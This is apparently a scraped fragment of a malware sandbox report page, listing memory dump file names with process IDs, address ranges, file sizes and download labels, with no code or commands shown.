Filesize
164KB

Download
memory/4636-215-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/4636-216-0x0000000140002314-mapping.dmp

Download
memory/4712-211-0x00007FF69A351938-mapping.dmp

Download
memory/5040-175-0x00000000059B0000-0x0000000005A42000-memory.dmp

Filesize
584KB

Download
memory/5040-162-0x0000000000F90000-0x00000000010FC000-memory.dmp

Filesize
1.4MB

Download
memory/5040-178-0x0000000005DC0000-0x0000000005DCA000-memory.dmp

Filesize
40KB

Download
memory/5040-159-0x0000000000000000-mapping.dmp

Download
memory/5056-203-0x0000000000000000-mapping.dmp

Download